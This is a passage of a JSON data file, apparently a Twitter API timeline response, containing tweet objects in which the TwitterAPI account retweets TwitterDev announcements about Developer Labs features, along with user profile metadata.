 Jan 06 20:22:05 +0000 2020\",\"id\":1214281000932593667,\"id_str\":\"1214281000932593667\",\"text\":\"Hello\\u2026 is it me you\\u2019re searching for? \\ud83d\\udd0e\\n\\nSearch the conversation as it unfolds with this new addition to Labs. We'r\\u2026 https:\\\/\\\/t.co\\\/XaqD1JJ5kF\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/XaqD1JJ5kF\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1214281000932593667\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":64,\"favorite_count\":165,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":64,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Fri Jan 03 17:21:34 +0000 2020\",\"id\":1213148410145992704,\"id_str\":\"1213148410145992704\",\"text\":\"RT @TwitterDev: Today, we\\u2019re sharing a few small improvements to make it easier for academic researchers to get started with the Twitter AP\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Fri Jan 03 17:17:23 +0000 2020\",\"id\":1213147357551816704,\"id_str\":\"1213147357551816704\",\"text\":\"Today, we\\u2019re sharing a few small improvements to make it easier for academic researchers to get started with the Tw\\u2026 https:\\\/\\\/t.co\\\/WhV7rP54GM\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/WhV7rP54GM\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1213147357551816704\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":214,\"favorite_count\":448,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":214,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Dec 10 20:34:57 +0000 2019\",\"id\":1204499768459661312,\"id_str\":\"1204499768459661312\",\"text\":\"RT @TwitterDev: You may have seen the recent announcement about following Topics on Twitter. Today, we\\u2019re excited to provide API support fo\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Tue Dec 10 20:27:22 +0000 2019\",\"id\":1204497856679202816,\"id_str\":\"1204497856679202816\",\"text\":\"You may have seen the recent announcement about following Topics on Twitter. Today, we\\u2019re excited to provide API su\\u2026 https:\\\/\\\/t.co\\\/ZlJUjmHIBe\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/ZlJUjmHIBe\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1204497856679202816\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":91,\"favorite_count\":245,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":91,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Oct 29 19:39:40 +0000 2019\",\"id\":1189265562821640193,\"id_str\":\"1189265562821640193\",\"text\":\"RT @TwitterDev: Study a sample of timely, relevant Tweets as they happen, with the newest release in Twitter Developer Labs. https:\\\/\\\/t.co\\\/m\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Tue Oct 29 19:37:15 +0000 2019\",\"id\":1189264953368338432,\"id_str\":\"1189264953368338432\",\"text\":\"Study a sample of timely, relevant Tweets as they happen, with the newest release in Twitter Developer Labs.\\u2026 https:\\\/\\\/t.co\\\/Y5QMh8rNoh\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/Y5QMh8rNoh\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1189264953368338432\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[110,133]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":45,\"favorite_count\":139,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":45,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Wed Sep 18 16:41:39 +0000 2019\",\"id\":1174362863118372867,\"id_str\":\"1174362863118372867\",\"text\":\"RT @TwitterDev: Today in Twitter Developer Labs we\\u2019re releasing a new way to filter Tweets in real-time. This is one of the most popular fe\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Wed Sep 18 16:36:10 +0000 2019\",\"id\":1174361480734466048,\"id_str\":\"1174361480734466048\",\"text\":\"Today in Twitter Developer Labs we\\u2019re releasing a new way to filter Tweets in real-time. This is one of the most po\\u2026 https:\\\/\\\/t.co\\\/RElmBW5XxM\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/RElmBW5XxM\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1174361480734466048\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sid